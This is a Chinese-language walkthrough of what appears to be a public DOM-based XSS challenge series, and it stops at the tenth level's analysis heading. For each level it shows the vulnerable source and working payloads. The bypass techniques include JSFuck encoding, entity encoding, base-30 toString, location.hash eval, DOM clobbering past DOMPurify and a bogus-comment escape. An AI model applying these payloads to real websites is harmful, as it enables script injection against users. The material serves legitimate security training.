DOM破坏基础

第一关

image-20250714163349243

源码

1
2
3
4
5
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析

get传值somebody 直接给h2添加属性

payload

1
?somebody=<img src="1" onerror="alert(1337)">

image-20250714164602338

第二关

image-20250714164629867

源码

1
2
3
4
5
6
7
8
9
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>

分析

一样的get获取jeff的值 利用点在eval

我们可以闭合" 然后直接alert(1337)

payload

1
?jeff=";alert(1)//

image-20250714165226881

第三关

image-20250714165258839

源码

1
2
3
4
5
6
7
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

分析

一样通过wey get传递值

但是经过了wey.replace(/[<>]/g, '') 过滤,过滤了 <>

然后通过innerHTMLuganda 赋值

因为不能通过 用户交互,所以我们不用on的点击时间

但是有一个自动获取焦点的函数 onfocus 并且这个函数有一个自动获取焦点的参数 autofocus

即可实现自动弹窗

payload

1
?wey="autofocus%20onfocus=alert(1337)"

image-20250714170139855

第四关

image-20250714170220070

源码

1
2
3
4
5
6
7
8
9
10
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>

分析

通过ricardo get传参 然后设置定时器 2秒自动提交给form表单

然后form 表单中有method 属性接收的GET 表单属性可以通过javascript: 伪协议解析alert

payload

1
?ricardo=javascript:alert(1337)

image-20250714171021502

第五关

image-20250714171502986

源码

1
2
3
4
5
6
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>

分析

get传承 markassbrownlee 获取值 , will.innerHTML = smith 添加属性,但是

smith.replace(/[\(\\)\\]/g, '') 过滤了()\

所以alert的这个括号 被过滤了,我们考虑通过实体编码绕过

因为我们在url地址栏传入的参数 先会经过浏览器进行decode 然后进入 js 接收到值后,通过了过滤函数,在进入html ,实体编码被解析为()

payload

1
?markassbrownlee=<img src="1" onerror="alert%26lpar%3B%26%2349%3B%26%2351%3B%26%2351%3B%26%2355%3B%26rpar%3B">

image-20250714172528731

第六关

image-20250714172546097

源码

1
2
3
4
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

分析

过滤掉了大小写字母,还有数字

看见了eval函数 利用点就在这

现在就是考虑怎么绕过这个正则

想到了jsfuck

image-20250714173009491

直接通过

这个编码,然后进行一下urlencode编码

payload

1
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%2B%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%29

image-20250714173304760

后面我们在 研究一下jsfuck 到底为什么可以通过这种方式来编码

第七关

image-20250714173438672

源码

1
2
3
4
5
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析

这里限制了我们payload的长度不能超过50,且过滤了``’ “ + - ! \ [ ]` 所以这关完全限制了上一关的方法

而且他还过滤了 alert 所以我们不能用alert 但是我们还有另外两个可以用

confirm()、prompt()

这里我们可以直接利用,但是还有其他的办法

第一种方法
1
eval(8680439..toString(30))(1337)

..toString() 可以将数字转换为字符

8680439:其实就是 30进制的alert

image-20250714174146435

image-20250714174200405

这里我们就是利用 这个函数

那为什么是30进制不是 其他进制 呢?

我们测试一下29进制

利用parseInt() 来看一下 转换alert是什么

image-20250714174909597

这里可以看到 alert 的 t 转换回来消失了!!!

为什么呢?

A B C D E F G H I J K L M N O P Q R S T

这里我们知道A 是10进制可以进行转换
T 在第30位,我们合理的进行推测,T 是不是就是30进制呢?

image-20250714175135098

所以我30~36都可以进行转换t

那么我们这个payload eval(8680439..toString(30))(1337)就完全可以绕过过滤,实现xss

image-20250714175432982

第二种方法
1
eval(location.hash.slice(1))

这里我们可以清楚的理解到 是通过 location.hash.slice(1) 这个函数来传值,我们可以通过#来插入我们的恶意代码,但是我们的xss代码并不会进入正则过滤中

payload

1
?mafia=eval(location.hash.slice(1))#alert(1337)

image-20250714175631542

第三种方法
1
Function(/ALERT(1337)/.source.toLowerCase())()

因为js是严格区分大小写的 所以我们传入的ALERT 并不会被过滤,我们就要想办法将他转为小写

这里我们查官方文档了解一下Function()的作用

image-20250714175931432

image-20250714180008622

Function()是构造函数

在看看.source 是啥

image-20250714180718828

返回正则表达式的文本内容(即 /pattern/flags 中的 pattern 部分),不包含分隔符和标志。

image-20250714180844540

.toLowerCase()转小写

这个payload我们就知道先通过Function 构造函数 然后 传入 /ALERT(1337)/ 通过.source 获取到ALERT(1337 在通过 toLowerCase() 转成小写 ,最后()立即执行

这个payload的好处是我们可以绕过他的关键字匹配,构造自己的函数

image-20250714181507067

payload

1
Function(/ALERT(1337)/.source.toLowerCase())()
第八关

image-20250714181615220

源码

1
2
3
4
5
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>

分析

这里他引入了DOMPurify防御用户输入框架,这个框架至今都在维护,而且绕过的概率很低,所以我们不考虑绕过的方法

看到下面setTimeout(ok, 2000) 这里的ok并没有进行定义

那么我们可以使用dom clobbering称之为dom破坏技术

1
<a id=ok href=javasCript:alert(1337)>

我们尝试传入这个来重新构造ok函数

image-20250715113259686

但是发现被框架过滤了,我们去github上看一下,找一下白名单

image-20250715113345829

/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))

这里测试发现

mailto|tel|callto|sms|cid|xmpp|matrix

全部都能够触发alert

payload

1
?boomer=<a id=ok href="tel:alert(1)">

image-20250714183323651

那么为什么我们会想到用A标签呢?

1.我们需要传入一个我们可控得字符,且他能被setTimeout 执行

toString

所以我们可以通过以下代码来进⾏fuzz得到可以通过toString⽅法将其转换成字符串类型的标签:

1
2
3
4
5
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString
!== Object.prototype.toString)

我们可以得到两种标签对象:HTMLAreaElement ()& HTMLAnchorElement (),这两个 标签对象我们都可以利⽤href属性来进⾏字符串转换。

image-20250715114025687

HTMLAreaElementarea但是他是一个空元素不能容纳任何内容,所以我们不考虑

那么就只剩下HTMLAnchorElement 这个的意思是锚点的意思,

也就是跳转,html中哪个标签可以跳转实现呢?

答案呼之欲出了:A标签的 href属性

所以这里dom破坏就是在a标签的herf属性上传入我们的xss代码!

第九关

image-20250715172949724

源码

1
2
3
4
5
6
7
8
9
<!-- Challenge -->
<div id="pwnme"></div>

<script>
var input = (new URL(location).searchParams.get('debug') || '').replace(/[\!\-\/\#\&\;\%]/g, '_');
var template = document.createElement('template');
template.innerHTML = input;
pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->";
</script>

分析

这里我们可以看到,对get传参debug进行了过滤

! - / # & ; % 进行了过滤

那我们现在考虑,在哪个地方可以利用进行dom破坏呢?

我们知道形如 document.x 这种我们都可以进行dom破坏

这里我们很容易就发现 template.outerHTML,但是被<!-- --> 包裹,而且为多行注释,那么我们如何进行绕过呢?

image-20250718194412725

我们先不考虑注释符,正常插入

1
<img src='1' onerror='alert(1)'>

image-20250718210013062

发现正如我们预料的一样,我们的payload被注释掉了

那我们就要思考如何来闭合 <!--

经过查找大量资料发现,<?可以把p标签逃逸出来

image-20250718210214704

那么这是为什么呢?

下断调试看看

image-20250718211205269

发现 我们传入的<? 变为了 <!--?--> 这样他进入

image-20250718211335880

就把P标签逃逸出来了

根据w3c

规范文档,可以在以下链接找到:

🔗 HTML Standard - Parsing HTML Documents
🔗 https://html.spec.whatwg.org/multipage/parsing.html#parsing-html-documents

image-20250718232910418

当遇到< 号的时候 会切换到 标签开始状态 tag open state.

然后

image-20250718233511852

又因为下一个字符是? 他会进入 bogus comment state.

image-20250718233648645

然后 下一个字符是 Anything else 将当前输入字符附加到注释标记的数据中。也就是<!--?-->,

这里举个列子:输入是aaa<?bbb>ccc的时候,解析到第 i 个字符时,innerHTML 的结果是这样的

1
2
3
4
5
6
7
8
9
10
11
12
a
aa
aaa
aaa<
aaa<!--?-->
aaa<!--?b-->
aaa<!--?bb-->
aaa<!--?bbb-->
aaa<!--?bbb-->
aaa<!--?bbb-->c
aaa<!--?bbb-->cc
aaa<!--?bbb-->ccc

直到该状态遇到了>为止,回到 data state。注意这个 Bogus comment state 解析到>的时候会直接回到 data state,也就是 HTML parser 最开始解析的状态,这个时候我们就可以插入 HTML 代码了。

那么我们就可以试着传值测试

1
<?><img src='1' onerror='alert(1)'>

image-20250718234143650

也是成功弹窗了,我们再次打断点看看具体是什么流程

image-20250718234243274

image-20250718234255751

与我们的预想完全一致

1
2
<?><svg onload=alert(1)>
<?><img src=1 onerror=alert(1)>

这两个都可以,但是切记不要用<script>alert(1)</script>

原因就是/ 被过滤了,就算没被过滤也不会被执行

image-20250718235939727

w3c文档清楚的进行了说明

document.write() script innerHTML outerHTML

使用该方法插入时,元素通常会执行(通常会阻止进一步的脚本执行或 HTML 解析)。当使用 和 属性插入时,它们根本不会执行。

image-20250719000131057

这里他也说明了 官方文档

第十关

image-20250719000937250

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<number id="number" style="display:none"></number>
<div class="alert alert-primary" role="alert" id="welcome"></div>
<button id="keanu" class="btn btn-primary btn-sm" data-toggle="popover" data-content="DM @PwnFunction"
data-trigger="hover" onclick="alert(`If you solved it, DM me @PwnFunction :)`)">Solved it?</button>

<script>
/* Input */
var number = (new URL(location).searchParams.get('number') || "7")[0],
name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true });
$('number#number').html(number);
document.getElementById('welcome').innerHTML = (`Welcome <b>${name || "Mr. Wick"}!</b>`);

/* Greet */
$('#keanu').popover('show')
setTimeout(_ => {
$('#keanu').popover('hide')
}, 2000)

/* Check Magic Number */
var magicNumber = Math.floor(Math.random() * 10);
var number = eval($('number#number').html());
if (magicNumber === number) {
alert("You're Breathtaking!")
}
</script>

分析